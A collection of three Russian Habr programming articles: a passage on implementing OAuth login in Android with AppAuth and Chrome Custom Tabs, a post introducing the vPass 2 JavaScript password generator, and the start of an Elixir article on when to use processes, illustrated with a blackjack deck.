ChromeCustomTabs(CCT) и SafariViewController(SafariVC) аналогично браузеру позволяют легко реализовать открытие веб-страниц в вашем приложении.
**Они закрывают недостатки WebView:**
* Злоумышленник не сможет перехватить вводимые данные на странице логина.
* Данные доступны браузеру и CCT/SafariVC.
Обратите внимание: Начиная с ios 11, данные между браузером и между различными сессиями SafariVC больше не шарятся автоматически. Чтобы это реализовать, нужно использовать [ASWebAuthenticationSession](https://developer.apple.com/documentation/authenticationservices/aswebauthenticationsession).
Пример: [ссылка на Github Gist](https://gist.github.com/MaxMyalkin/e30770d18f0201e4a68cafe23c3a3b2e).
* JS выполняется во внешнем процессе, это обезопасит ваше приложение.
**Недостатки браузера тоже частично закрываются:**
* [CCT позволяет производить прогрев в фоне](https://developer.chrome.com/docs/android/custom-tabs/integration-guide/#warm-up-the-browser-to-make-pages-load-faster), что позволяет быстро начать загружать страницу при ее открытии.
* Открытый CCT не понижает приоритет процесса вашего приложения, потому что это может привести к убийству процесса системой.
* имеются возможности настройки внешнего вида, хотя и ограниченные: [CCT](https://developer.chrome.com/docs/android/custom-tabs/integration-guide/), [SafariVC](https://developer.apple.com/documentation/safariservices/sfsafariviewcontroller#topics).
CCT изначально был сделан только для Chrome, а сейчас поддерживается в разных браузерах. Помимо него, в Android есть еще TrustedWebActivity. Подробнее про них можно почитать [на официальной странице](https://developer.chrome.com/docs/android/trusted-web-activity/).
Этот подход является самым оптимальным. Он закрывает почти все недостатки предыдущих двух подходов.
### Редирект в Chrome не срабатывает
Как уже упоминали выше, для редиректа обратно в приложение лучше использовать кастомную схему, чтобы редирект не был перехвачен браузерами.
В процессе тестирования реализации OAuth в Android мы столкнулись с тем, что Chrome с использованием CCT после успешной авторизации не перебрасывал нас обратно в приложение на некоторых устройствах. На это заведен [баг в трекере](https://bugs.chromium.org/p/chromium/issues/detail?id=738724).
В Chrome сделали [обновление](https://chromium.googlesource.com/chromium/src/+/a1f331bf3aaa9c8f65c02bb38f14c5a81184d4ce/chrome/android/java/src/org/chromium/chrome/browser/externalnav/ExternalNavigationHandler.java#320), которое запрещает без пользовательского намерения переходить по URL с кастомной схемой. Это блокирует попадание пользователя в зловредное приложение.
Для обхода этого ограничения сделали веб-страничку, на которую браузер редиректит после успешной авторизации. Веб-страница автоматически пытается сделать редирект уже внутрь приложения. Если этого не происходит, то есть Chrome заблокировал переход, пользователь может нажать на кнопку enter и перейти явно. Этот подход сработал.
### Обновление токенов
С использованием OAuth вам не нужно забывать об обновлении токенов.
Обычно это похоже на то, как менять код на токен. Вы обращаетесь к api для получения токена и указываете `grant_type=refresh_token` и `refresh_token`, который вы получили изначально при логине.
Более подробную реализацию рассмотрим в примере.
### Браузер отсутствует
В Android, в отличие от iOS, может не быть браузера. Но он нам понадобится для использования CCT, причем с поддержкой этого способа.
Кроме Chrome, этот функционал поддерживается в SBrowser, Firefox и всех остальных современных браузерах. Но даже если такового у пользователя нет, откроется обычный браузер.
На официальной странице рассказывают, [как проверить браузеры с поддержкой CCT.](https://developer.chrome.com/docs/android/custom-tabs/integration-guide/#how-can-i-check-whether-the-android-device-has-a-browser-that-supports-custom-tab)
### Логаут
В большинстве случаев при пользовательском логауте в приложении нужно почистить токены/файлы/БД/кеши.
Если же для авторизации вы используете ссt/safarivc, потом в браузере остаются куки авторизованного человека. При повторном логине вы заново войдете под первым аккаунтом автоматически. Почистить cookie из приложения не получится, потому что браузер — это отдельный процесс со своим хранилищем, и доступ к нему запрещен.
Чтобы разлогиниться, необходимо открыть страницу в браузере, по которой сервер авторизации почистит куки и перенаправит вас в приложение обратно.
Варианты реализации OAuth
-------------------------
Мы рассмотрели OAuth flow для мобильных приложений и увидели, на какие нюансы стоит обратить внимание при реализации.
Существует несколько вариантов реализации.
### Использовать SDK сервиса, через который вы хотите авторизоваться
**Плюсы:**
* простая реализация;
* возможна авторизация через нативные приложения, если они установлены.
**Минусы:**
* увеличение внешних зависимостей, особенно при большом количестве внешних сервисов;
* нет контроля над реализацией.
Использование SDK мы рассматривать в текущей статье не будем, потому что для этого нужно изучать документацию SDK.
### Реализовать вручную
Реализовать логику вручную внутри собственного приложения с использованием WebView или других реализаций (CCT/SafariVC).
**Плюс:**
* получаем полный контроль над реализацией.
**Минус:**
* приходится писать свой код, поддерживать его и учитывать вручную нюансы, о которых говорили выше.
Ручную реализацию мы рассматривать не будем, потому что она индивидуальна для каждого приложения и сервиса.
### Использовать библиотеки
Библиотеки должны поддерживать протоколы OAuth и OpenId и позволять общаться с любыми сервисами по этим протоколам. Примеры:
[AppAuth IOS](https://github.com/openid/AppAuth-iOS)
[AppAuth Android](https://github.com/openid/AppAuth-Android)
[Auth0 Android](https://github.com/auth0/Auth0.Android)
* При использовании этого подхода нужно убедиться, что сервер аутентификации работает в соответствии с протоколом, и вам не придется костылить библиотеку, чтобы связаться с ним.
* Если разобраться с библиотекой и знать, как она работает, реализация получается достаточно простой. Но на это требуется время.
* Реализация авторизации будет универсальная для разных сервисов, не придется подключать дополнительные зависимости и писать много кода для каждого внешнего сервиса, если таких несколько.
* Учтите, что реализация библиотеки может быть не совсем удобной для встраивания в ваше приложение. Используемые подходы общения с библиотекой могут отличаться от принятых в команде, и нужно будет писать обертки-бриджи. Пример: AppAuth в Android использует AsyncTask под капотом, но в приложении вы, скорее всего, используете корутины. Но обычно такие вещи можно интегрировать.
В дальнейшем в статье мы рассмотрим реализацию входа с использованием библиотеки AppAuth. Тому есть несколько причин:
* это достаточно популярная библиотека;
* [ее рекомендует Google для реализации OAuth](https://developers.google.com/identity/protocols/oauth2/native-app);
* у нее есть реализации и [для Android](https://github.com/openid/AppAuth-Android) и [для iOS](https://github.com/openid/AppAuth-iOS) .
Реализация в Android-приложении
-------------------------------
Давайте посмотрим, как можно реализовать OAuth в вашем Android-приложении с использованием AppAuth. [Весь код доступен на Github](https://github.com/MaxMyalkin/android-oauth-example).
Приложение простое: отображение информации о моем github-профиле.
Для этого при каждом запуске приложения будем открывать страницу github-авторизации. После успешной авторизации переводим пользователя на главную страницу, откуда можно получить информацию о текущем пользователе.
При реализации нам необходимо разобраться с 3 ключевыми моментами:
* авторизация пользователя;
* обновление токена;
* логаут пользователя.
Общая настройка
---------------
[Первым делом зарегистрируем приложение OAuth в Github.](https://docs.github.com/en/developers/apps/building-oauth-apps/creating-an-oauth-app)
При регистрации установите `CALLBACK_URL` для вашего приложения на сервисе. На этот URL будет происходить перенаправление после авторизации, и ваше приложение будет его перехватывать.
В качестве `CALLBACK_URL` будем использовать `ru.kts.oauth://github.com/callback`
Не забывайте использовать кастомную схему `ru.kts.oauth`, чтобы только ваше приложение могло перехватить редирект.
После регистрации у вас должны быть доступны `client_id` и `client_secret` (его нужно сгенерировать). Сохраните их.
Дальше нужно понять, на какой URL нужно переходить для авторизации на веб-странице Github, и по какому обменивать код на токен. Ответ можно найти в [документации по Github OAuth](https://docs.github.com/en/developers/apps/building-oauth-apps/authorizing-oauth-apps).
**URL для авторизации:** [**https://github.com/login/oauth/authorize**](https://github.com/login/oauth/authorize) **URL для обмена токена:** [**https://github.com/login/oauth/access\_token**](https://github.com/login/oauth/access_token)
Для авторизации нам нужно определить скоупы, к которым github предоставит доступ. Представим, что нам в приложении нужны доступ к информации пользователя и его репозиториям: `user, repo.`
С общими параметрами определились. Перейдем к Android-реализации.
### Реализация Android
Подключим библиотеку в проект:
```
implementation 'net.openid:appauth:0.9.1'
```
Запишем все настройки OAuth в один объект, чтобы было легко с ним работать:
```
object AuthConfig {
const val AUTH_URI = "https://github.com/login/oauth/authorize"
const val TOKEN_URI = "https://github.com/login/oauth/access_token"
const val END_SESSION_URI = "https://github.com/logout"
const val RESPONSE_TYPE = ResponseTypeValues.CODE
const val SCOPE = "user,repo"
const val CLIENT_ID = "..."
const val CLIENT_SECRET = "..."
const val CALLBACK_URL = "ru.kts.oauth://github.com/callback"
const val LOGOUT_CALLBACK_URL = "ru.kts.oauth://github.com/logout_callback"
}
```
Тут по сравнению с общей настройкой добавились:
* RESPONSE\_TYPE. Используем константу “code” из библиотеки AppAuth. Эта константа отвечает за то, что будет возвращено на клиент после авторизации пользователем в браузере. Варианты: `code`, `token`, `id_token`.
В соответствии с OAuth Authorization Code Flow нам нужен `code`.
На самом деле Github api не требует передачи параметра `response_type` и всегда возвращает только код. Но данный параметр может потребоваться для других сервисов.
* `END_SESSION_URI`, `LOGOUT_CALLBACK_URL`. Настройки, необходимые для логаута.
### Авторизация
Теперь откроем страницу авторизации с использованием CCT.
Для работы с CCT и выполнения автоматических операций обмена кода на токен библиотека AppAuth предоставляет сущность AuthorizationService. Эта сущность создается при входе на экран. При выходе с экрана она должна очиститься. В примере это делается внутри ViewModel экрана авторизации.
Создаем в init:
```
private val authService: AuthorizationService = AuthorizationService(getApplication())
```
Очищаем в onCleared:
```
authService.dispose()
```
Для открытия страницы авторизации в CCT нужен интент. Для этого получаем AuthorizationRequest на основе заполненных раньше данных в AuthConfig:
```
private val serviceConfiguration = AuthorizationServiceConfiguration(
Uri.parse(AuthConfig.AUTH_URI),
Uri.parse(AuthConfig.TOKEN_URI),
null, // registration endpoint
Uri.parse(AuthConfig.END_SESSION_URI)
)
fun getAuthRequest(): AuthorizationRequest {
val redirectUri = AuthConfig.CALLBACK_URL.toUri()
return AuthorizationRequest.Builder(
serviceConfiguration,
AuthConfig.CLIENT_ID,
AuthConfig.RESPONSE_TYPE,
redirectUri
)
.setScope(AuthConfig.SCOPE)
.build()
}
```
Создаем интент:
```
// тут можно настроить вид chromeCustomTabs
val customTabsIntent = CustomTabsIntent.Builder().build()
val openAuthPageIntent = authService.getAuthorizationRequestIntent(
getAuthRequest(),
customTabsIntent
)
```
После этого открываем активити по интенту. Нам необходимо обработать результат активити, чтобы получить код.
Поэтому используем `ActivityResultContracts.` Также можно использовать `startActivityForResult.`
```
private val getAuthResponse = registerForActivityResult(ActivityResultContracts.StartActivityForResult()) {
val dataIntent = it.data ?: return
handleAuthResponseIntent(dataIntent)
}
getAuthResponse.launch(openAuthPageIntent)
```
Под капотом будут открыты активити из библиотеки, которые возьмут на себя ответственность открытия CCT и обработку редиректа. А в активити вашего приложения уже прилетит результат операции.
Схема взаимодействия активитиВнутри `openAuthPageIntent` будет зашита вся информация, которую мы раньше указывали в `AuthConfig`, а также сгенерированный `code_challenge.`
AppAuth генерирует URL для открытия страницы авторизации под капотом: `https://github.com/login/oauth/authorize?redirect_uri=ru.kts.oauth%3A%2F%2Fgithub.com%2Fcallback&client_id=3fe9464f41fc4bd2788b&response_type=code&state=mrhOJm7ot4C1aE9ND3lWdA&nonce=4zVLkQrhQ4L46hfQ1jdTHw&scope=user%2Crepo&code_challenge=gs23wPEpmJYv3cdmTRWNSQLvvnPtHUhtSv4zhbfKS_o&code_challenge_method=S256`
Чтобы редирект был обработан корректно, мы должны указать, что наше приложение умеет обрабатывать открытие URL с нашей кастомной схемой `ru.kts.oauth`. Для этого внутри `build.gradle` модуля приложения внутри секции `defaultСonfig` укажем `manifest placeholder`:
```
manifestPlaceholders = [
appAuthRedirectScheme: "ru.kts.oauth"
]
```
После этого в AndroidManifest.xml вашего приложения будет добавлена активити, которая обрабатывает ссылки с этой кастомной схемой. Merged manifest:
```
...
```
Также вы можете настроить редирект с использованием стандартных схем. Более детально можно прочитать в [описании к репозиторию](https://github.com/openid/AppAuth-Android).
Теперь мы можем открыть страницу логина:
Дальше необходимо получить код и обменять его на токен. При этом в ответе может прийти ошибка авторизации, ее тоже нужно обработать.
Библиотека AppAuth дает возможность из результирующего интента ответа получить ошибку или запрос для обмена кода на токен:
```
private fun handleAuthResponseIntent(intent: Intent) {
// пытаемся получить ошибку из ответа. null - если все ок
val exception = AuthorizationException.fromIntent(intent)
// пытаемся получить запрос для обмена кода на токен, null - если произошла ошибка
val tokenExchangeRequest = AuthorizationResponse.fromIntent(intent)
?.createTokenExchangeRequest()
when {
// авторизация завершались ошибкой
exception != null -> viewModel.onAuthCodeFailed(exception)
// авторизация прошла успешно, меняем код на токен
tokenExchangeRequest != null ->
viewModel.onAuthCodeReceived(tokenExchangeRequest)
}
}
```
Запрос на токен будет сформирован автоматически, в него будет добавлен тот `code_verifier`, `code_challenge` от которого передавался при открытии страницы авторизации. Поэтому вопрос его сохранения уже решен.
Вариант с ошибкой авторизации рассматривать не будем, тут можно показать Toast или Snackbar.
Мы получили запрос `tokenExchangeRequest`*,* который необходимо выполнить. Для этого используем `AuthService.performTokenRequest`.
Под капотом в методе `performTokenRequest` происходит запуск устаревшего AsyncTask, поэтому API построен на колбэках.
```
fun performTokenRequest(
authService: AuthorizationService,
tokenRequest: TokenRequest,
onComplete: () -> Unit,
onError: () -> Unit
) {
authService.performTokenRequest(tokenRequest, getClientAuthentication()) { response, ex ->
when {
response != null -> {
//обмен кода на токен произошел успешно, сохраняем токены и завершаем авторизацию
TokenStorage.accessToken = response.accessToken.orEmpty()
TokenStorage.refreshToken = response.refreshToken
onComplete()
}
//обмен кода на токен произошел неуспешно, показываем ошибку авторизации
else -> onError()
}
}
}
```
Интерфейс колбэков можно достаточно просто превратить в suspend-вызов и использовать вместе с корутинами в вашем приложении. Вы можете посмотреть [пример в проекте](https://github.com/MaxMyalkin/android-oauth-example/blob/master/app/src/main/java/com/kts/github/data/auth/AppAuth.kt#L56).
При выполнении обмена кода на токен по документации нам требуется [отправлять client\_secret.](https://docs.github.com/en/developers/apps/building-oauth-apps/authorizing-oauth-apps#2-users-are-redirected-back-to-your-site-by-github) Поэтому при вызове метода `performTokenRequest` требуется передать объект `ClientAuthentication`. В библиотеке есть несколько имплементаций: `ClientSecretBasic`, `ClientSecretPost`, `NoClientAuthentication`. Выбирать нужно исходя из того, что требует сервер при обмене кода на токен.
В случае с Github необходимо отправить `client_secret` следующим образом:
```
private fun getClientAuthentication(): ClientAuthentication {
return ClientSecretPost(AuthConfig.CLIENT_SECRET)
}
```
Если сервис не требует `client_secret`, то можно использовать `ClientSecretBasic("").`
На этом мы закончили реализацию авторизации в Github с помощью AppAuth.
Еще раз кратко опишем шаги.
1. Подключаем библиотеку.
2. Создаем AuthConfig.
3. Указываем `manifestPlaceholder appAuthRedirectScheme`.
4. Создаем AuthorizationService, например во ViewModel.
5. Авторизуем пользователя в вебе:
1. создаем AuthorizationRequest;
2. формируем intent;
3. запускаем активити с CCT.
6. Меняем код на токен:
1. получаем `TokenExchangeRequest` из `activity result intent;`
2. выполняем `TokenExchangeRequest` с помощью `authService.performTokenRequest;`
3. сохраняем токены в колбеке.
### Логаут
Для логаута нам нужно не только почистить токен внутри приложения, но и почистить cookie в браузере. Просто так это сделать не получится, потому что браузер — это внешнее приложение. Для этого нужно открыть страницу, по которой у вас очистятся cookie.
Для гитхаба это <https://github.com/logout>**.** Раньше указали в `AuthConfig.END_SESSION_URI.`
Идея открытия страницы такая же, как для страницы авторизации:
#### 1. Формируем request:
```
val endSessionRequest = EndSessionRequest.Builder(authServiceConfig)
//Требуется для некоторых сервисов, idToken получается при авторизации аналогично accessToken и refreshToken
.setIdTokenHint(idToken)
// uri на который произойдет редирект после успешного логаута, не везде поддерживается
.setPostLogoutRedirectUri(AuthConfig.LOGOUT_CALLBACK_URL.toUri())
.build()
```
#### 2. Формируем custom tabs intent:
```
val customTabsIntent = CustomTabsIntent.Builder().build()
```
#### 3. Формируем итоговый интент:
```
val endSessionIntent = authService.getEndSessionRequestIntent(
endSessionRequest,
customTabsIntent
)
```
#### 4. Открываем страницу логаута:
```
private val logoutResponse = registerForActivityResult(
ActivityResultContracts.StartActivityForResult()
) {}
logoutResponse.launch(endSessionIntent)
```
Пользователь переходит на страницу логаута, где чистится его сессия в браузере.
После логаута нам нужно перехватить редирект, чтобы вернуться в приложение. Не все сервисы позволяют указывать URL редиректа после логаута (github не позволяет). Поэтому пользователю нужно будет нажать на крестик в CCT.
После ручного закрытия активити с CCT мы получим `result=cancelled`, потому что редиректа в приложение не было.
В нашем примере с Github мы будем в любом случае очищать сессию и переходить на страницу входа в приложение.
```
private val logoutResponse = registerForActivityResult(
ActivityResultContracts.StartActivityForResult()
) {
// очищаем сессию и переходим на экран логина
viewModel.webLogoutComplete()
}
```
### Обновление токена
При работе с OAuth и библиотекой AppAuth вам, как и всегда, важно поддерживать актуальность ваших токенов. `access_token`, полученный с сервера, может протухнуть. Для того, чтобы не выбрасывать пользователя на страницу логина, нужно попробовать обновить токен в такой ситуации. Это делается с помощью `refresh_token`.
Механизм обновления похож на механизм получения `token` с помощью AppAuth:
#### 1. Формируем request для обновления токена
```
val refreshRequest = TokenRequest.Builder(
authServiceConfig,
AuthConfig.CLIENT_ID
)
.setGrantType(GrantTypeValues.REFRESH_TOKEN)
.setScopes(AuthConfig.SCOPE)
.setRefreshToken(TokenStorage.refreshToken)
.build()
```
Тут нам важно учесть 2 строчки:
```
.setGrantType(GrantTypeValues.REFRESH_TOKEN)
.setRefreshToken(TokenStorage.refreshToken)
```
В качестве `grantType` передаем `refreshToken`, и передаем непосредственно сам `refreshToken` из вашего хранилища, который был получен при авторизации.
#### 2. Выполняем сформированный request:
```
authorizationService.performTokenRequest(refreshRequest) { response, ex ->
when {
response != null -> emitter.onSuccess(response)
ex != null -> emitter.tryOnError(ex)
else -> emitter.tryOnError(IllegalStateException("response and exception is null"))
}
}
```
Этот код можно внедрить в те места, где у вас происходит обновление токена в проекте. Например, в OkHttp interceptor. Полный пример можно взять в [репозитории по ссылке.](https://github.com/MaxMyalkin/android-oauth-example/blob/master/app/src/main/java/com/kts/github/data/network/AuthorizationFailedInterceptor.kt)
Если обновление токена произошло с ошибкой (например, `refresh_token` невалидный), необходимо разлогинить пользователя.
[См. пример с логаутом.](#20)
[В сервисе Github токены OAuth не протухают](https://docs.github.com/en/developers/apps/getting-started-with-apps/differences-between-github-apps-and-oauth-apps), поэтому пример может быть использован в других сервисах.
Заключение
----------
Код проекта в статье находится в [моем репозитории на GitHub](https://github.com/MaxMyalkin/android-oauth-example).
Мы рассмотрели нюансы реализации OAuth в мобильных приложениях и пример реализации в Android-приложении с помощью библиотеки AppAuth. Эта реализация позволит вам быстро засетапить OAuth в вашем приложении.
По нашему опыту, AppAuth позволяет упростить работу с OAuth в приложении, избавляя вас от написания деталей имплементаций. Однако она предъявляет требования к серверу авторизации. Если сервис не соответствует RFC-8252 (OAuth 2.0 for Native Apps), возможно, AppAuth покроет не весь требуемый функционал.
А как вы реализовывали OAuth в мобильных приложениях? были ли у вас проблемы? Использовали ли AppAuth? | https://habr.com/ru/post/654029/ | null | ru | null |
# vPass 2 — простой и удобный генератор безопасных паролей на Javascript
Привет,
я потихоньку сделал версию 2 своего «потустороннего» проекта — [vPass](https://www.vpass.info/2/vpass.html). Если интересно, [вот тут](http://habrahabr.ru/post/149934/) в комментах интересное обсуждение первой версии.
Вкратце, зачем это все?
* Для каждого сайта нужно придумывать свой уникальный пароль.
* Запомнить по-настоящему уникальные пароли невозможно.
* Проблему решают менеджеры паролей, но они, как правило, только под одну платформу.
vPass берет Ваш мастер-пароль (например, `my\_password`) и, как правило, домен текушего сайта (например, `http://accounts.google.com` становится `google`) и создает набор из 12 букв, цифр и символов (например, `0EQu$MwEm?Qt`).
Вот 30-секундный демо-ролик:
Теперь Вы можете использовать уникальный пароль для каждого сайта, а запоминать надо только один мастер-пароль.
Ваш мастер-пароль не покидает Ваш компьютер. vPass — это чистый Javascript, и не посылает данные на сервер. Работает везде, где есть браузер — Windows, Mac OS X, Linux, Android, iOS, Windows Phone, webOS и т.д.
* [Открыть в браузере](https://www.vpass.info/2/vpass.html)
* [Установить расширение Google Chrome](https://chrome.google.com/webstore/detail/vpass-2/nflchmhdffaacecceakebjfiiclbnean)
* [Установить расширение Download Safari](https://www.vpass.info/2/e-safari/vpass.safariextz)
* [Установить расширение Download Opera](https://www.vpass.info/2/e-opera/vpass.oex)
* [Установить расширение Download Firefox](https://www.vpass.info/2/e-firefox/vpass.xpi)
* [Исходный код @ Github](https://github.com/vladstudio/vpass2)
**Букмарклет**
Перетащите эту ссылку → vPass ← на панель закладок.
**Для iPhone/iPad**
Откройте [vPass](https://www.vpass.info/2/vpass.html) в мобильном браузере, нажмите «Share», потом «Add to Home screen».
**Для Android**
Откройте [vPass](https://www.vpass.info/2/vpass.html) в мобильном браузере, добавьте закладку, откройте закладки, нажмите и подержите vpass.info, потом «Add to Home screen».
**Локальная копия**
Обязательно скачайте vPass на свой компьютер, для резервной копии: [vpass.zip](https://www.vpass.info/2/vpass.zip).
---
* В букмарклете и расщирениях, «домен» заполняется автоматически, из адреса текущей страницы.
* Наберите мастер-пароль и нажмите `Enter`.
* Чтобы увидеть набираемый пароль (и избежать ошибок), жмите `Ctrl(Cmd,Alt) + Enter`.
* Расширения Chrome & Safari автоматически вставят сгенерированный пароль в поле ввода на странице, если там будет курсор.
---
**Почему vPass, а не LastPass/KeePass/1Password/RoboForm/etc?**
Я попробовал их всех. Идеала не нашел. vPass — тоже не идеал, он просто отражает мой подход. Надеюсь, и Вам подойдет!
**Зачем вообще уникальные пароли?**
* [Lifehacker — How I’d Hack Your Weak Passwords](http://lifehacker.com/5505400/how-id-hack-your-weak-passwords)
* [Weak Passwords = Hacker Heaven](http://www.enterprisewizard.com/blog/weak-passwords-hacker-heaven/)
* [The top 10 passwords from the Yahoo hack: Is yours one of them?](http://www.zdnet.com/the-top-10-passwords-from-the-yahoo-hack-is-yours-one-of-them-7000000815/)
**Насколько безопасен vPass?**
Ровно насколько безопасен Ваш мастер-пароль. А поскольку vPass вообще не популярен, никто не догадается, что Вы его используете.
**Как придумать хороший мастер-пароль?**
* [Tips for creating a strong password](http://windows.microsoft.com/en-us/windows-vista/Tips-for-creating-a-strong-password)
* [10 Tips for Creating Secure Passwords](http://www.productivity501.com/10-tips-for-creating-secure-passwords/253/)
* [Lifehacker — Use This Infographic to Pick a Good, Strong Password](http://lifehacker.com/5876541/use-this-infographic-to-pick-a-good-strong-password)
* [Google — Choosing a smart password](http://support.google.com/accounts/bin/answer.py?hl=en&answer=32040)
**А если сайт vPass.info отключится?**
Поэтому надо хранить [копию vPass](https://www.vpass.info/2/vpass.zip). На сервере, кстати, отключены логи, и как я уже упомянул, я не получаю никаких данных со страниц.
---
Коротко обо мне — я Влад Герасимов, и вот мой сайт — [Vladstudio.com](http://www.vladstudio.com/).
Шлите ваши восхищения и ужасания по адресу [vladstudio@gmail.com](mailto:vladstudio@gmail.com).
vPass был вдохновлен [SuperGenPass](http://supergenpass.com/).
---
*Копия vPass v.1 тут — <https://www.vpass.info/1/>.*
---
**UPDATE** — из переписки —
> Вообще, должен прийти к грустному выводу. Я (собравшись воплотить все
>
> идеи для vPass 2), поисследовал тему более подробно, и сейчас пришел к
>
> грустному выводу, что смелая идея универсального генератора паролей,
>
> увы, не универсальна. На данном этапе «парольного бардака» (когда нет
>
> стандартов и каждый сайт придумывает свои требования к паролю)
>
> единственный нормальный метод — генерация случайного пароля для
>
> каждого сайта, подходящего к его требованиям, и хранение их в
>
> менеджере. Я был слегка наивен — хотя конечно получил интересный опыт,
>
> разрабатывая вПасс, и может быть все таки кому нибудь он как нибудь
>
> пригодится.
>
>
>
> Буду переходить на 1Password :( | https://habr.com/ru/post/169445/ | null | ru | null |
# To spawn, or not to spawn?
Вот в чём вопрос! Что лучше - держать всё в одном процессе, или создавать отдельный процесс на каждый кусок состояния, которым нам нужно управлять? В этой статье я немного расскажу об использовании или неиспользовании процессов. Я также расскажу, как отделить сложную логику с отслеживанием состояния от таких проблем, как временное (темпоральное) поведение и межпроцессное взаимодействие.
Но перед тем, как начать, т. к. статья будет длинной, я хотел бы обозначить основные моменты:
* Используйте функции и модули для разделения ментальных сущностей.
* Используйте процессы для разделения сущностей времени выполнения.
* Не используйте процессы (даже агентов) для разделения ментальных сущностей.
Конструкция "ментальные сущности" здесь относится к идеям, которые есть в нашем разуме, таким как "заказ", "позиция в заказе", "продукт" и т. д. Если эти концепции слишком сложны, то стоит реализовать их в отдельных модулях и функциях для разделения различных сущностей и держать каждую часть нашего кода сфокусированной и целостной.
Использование для этого процессов (например агентов) - это ошибка, которую люди часто допускают. Такой подход существенно упускает функциональную составляющую Elixir и вместо этого пытается имитировать объекты процессами. Реализация, скорее всего, будет хуже, чем простой функциональный подход (или даже эквивалент на языке объектно-ориентированного программирования). Поэтому стоит обращаться к процессам, только когда есть ощутимые выгоды от этого. Организация кода не входит в число этих преимуществ, так что это не лучший повод для использования процессов.
Процессы используются для решения проблем времени выполнения - свойств, которые можно наблюдать в работающей системе. Например, вам нужно задействовать несколько процессов, если вы хотите, чтобы сбой одного задания не повлиял на другие функции системы. Еще одна мотивация - когда вы хотите ввести потенциал для распараллеливания, позволяя одновременно запускать несколько заданий. Это может улучшить производительность вашего приложения и открыть потенциал для масштабирования в обоих направлениях. Есть и другие, менее распространенные случаи использования процессов, но опять же - разделение ментальных сущностей не входит в их число.
### Пример
Но как же тогда управлять сложным состоянием, если не с помощью агентов и процессов? Позвольте мне проиллюстрировать эту идею на простой предметной модели сокращенной и слегка модифицированной версии игры в блэкджек. Код, который я вам покажу (доступен [здесь](https://github.com/sasa1977/erlangelist/tree/dc7cd1d2c77e52fa0a3a90f269c0f4ca8cca908b/examples/blackjack)), запускает один раунд на столе для блэкджека.
Раунд - это, по сути, последовательность раздач, каждая из которых принадлежит отдельному игроку. Раунд начинается с первой руки. Игроку сначала выдают две карты, а затем он делает ход: берет еще одну карту (хит) или останавливается (стоп). В первом случае игроку дается еще одна карта. Если счет игрока больше 21, игрок вылетает из игры. В противном случае игрок может сделать еще один ход (взять карту или остановиться).
Счет руки - это сумма всех достоинств карт, при этом числовые карты (2-10) имеют свои соответствующие значения, а валет, дама и король имеют значение 10. Туз может быть оценен как 1 или как 11, в зависимости от того, что дает лучший (но не проигранный) счет.
Раздача считается законченной, если игрок останавливается или вылетает из игры. Когда ход руки закончен, раунд переходит к следующей руке. После того, как все руки сыграны, победителями становятся не вылетевшие руки с наибольшим количеством очков.
Для простоты я не рассматривал такие понятия, как дилер, ставки, страхование, разделение(split), несколько раундов, люди, присоединяющиеся к столу или покидающие его.
### Границы процесса
Итак, нам нужно отслеживать различные типы состояний, которые меняются с течением времени: колода карт, руки каждого игрока и состояние раунда. Наивный подход к этому - использование нескольких процессов. У нас может быть один процесс для каждой руки, другой процесс для колоды карт и «главный» процесс, который управляет всем раундом. Я вижу, что люди иногда используют аналогичный подход, но я совершенно не уверен, что это правильный путь. Основная причина в том, что игра по своей природе очень синхронизирована. Все происходит одно за другим в четко определенном порядке: я получаю свои карты, делаю один или несколько ходов, и когда я закончу, вы будете следующим. В любой момент времени в одном раунде происходит только одно действие.
Следовательно, использование нескольких процессов для запуска одного раунда принесет больше вреда, чем пользы. В нескольких процессах все происходит одновременно, поэтому вам нужно приложить дополнительные усилия для синхронизации всех действий. Вам также необходимо обратить внимание на правильное завершение и очистку процесса. Если вы остановите процесс раунда, вам также необходимо остановить все связанные процессы. То же самое должно происходить и в случае сбоя: исключение в раунде или процессе колоды, вероятно, должно завершить все (потому что состояние повреждено и не подлежит восстановлению). Возможно, сбой одной руки можно было бы изолировать, и это могло бы немного улучшить отказоустойчивость, но я думаю, что это слишком тонкий уровень, чтобы беспокоиться об изоляции сбоев.
Итак, в этом случае я вижу много потенциальных недостатков и не очень много преимуществ от использования нескольких процессов для управления состоянием одного раунда. Однако разные раунды взаимно независимы. У них есть свои отдельные потоки, они держат свои отдельные состояния, у них нет ничего общего. Таким образом, управление несколькими раундами в одном процессе контрпродуктивно. Это увеличит нашу поверхность ошибок (сбой в одном раунде приведет к отключению всего) и, возможно, приведет к снижению производительности (мы не используем несколько ядер) или узким местам (длительная обработка в одном раунде парализует все остальные). Если мы будем запускать разные раунды в разных процессах, есть очевидные выигрыши, так что это решение не составит труда :-)
В своих выступлениях я часто говорю, что в сложных системах существует огромный потенциал параллелизма, поэтому мы будем использовать множество процессов. Но чтобы воспользоваться этими преимуществами, нам нужно использовать процессы там, где они имеют смысл.
Итак, учитывая все обстоятельства, я почти уверен, что единственный процесс для управления всем состоянием одного раунда - это правильный путь. Было бы интересно посмотреть, что изменится, если мы введем концепцию стола, где раунды играются постоянно, а игроки меняются со временем. Я не могу сказать наверняка на данный момент, но я думаю, что это интересное упражнение на случай, если вы захотите его изучить :-)
### Функциональное моделирование
Итак, как же мы можем разделить разные сущности без использования нескольких процессов? Конечно, используя функции и модули. Если мы распределим разные части логики по разным функциям, дадим этим функциям собственные имена и, возможно, организуем их в правильно названные модули, мы сможем прекрасно представить наши идеи без необходимости имитировать объекты с помощью агентов.
Позвольте мне показать вам, что я имею в виду, проведя вас через каждую часть моего решения, начиная с самого простого.
#### Колода карт
Первое, что я хочу запечатлеть - это колода карт. Мы хотим смоделировать стандартную колоду из 52 карт. Мы хотим начать с перетасованной колоды, а затем иметь возможность брать из нее карты одну за другой.
Это, безусловно, концепция с сохранением состояния. Каждый раз, когда мы берем карту, состояние колоды меняется. Несмотря на это, мы можем реализовать колоду с чистыми функциями.
Позвольте показать вам код. Я решил представить колоду в виде списка карт, каждая из которых представляет собой карту с рангом и мастью. Я могу сгенерировать все карты во время компиляции:
```
@cards (
for suit <- [:spades, :hearts, :diamonds, :clubs],
rank <- [2, 3, 4, 5, 6, 7, 8, 9, 10, :jack, :queen, :king, :ace],
do: %{suit: suit, rank: rank}
)
```
Теперь я могу добавить функцию `shuffle/0` для создания перемешанной колоды:
```
def shuffled(), do:
Enum.shuffle(@cards)
```
И наконец, `take/1`, которая берёт верхнюю карту из колоды:
```
def take([card | rest]), do:
{:ok, card, rest}
def take([]), do:
{:error, :empty}
```
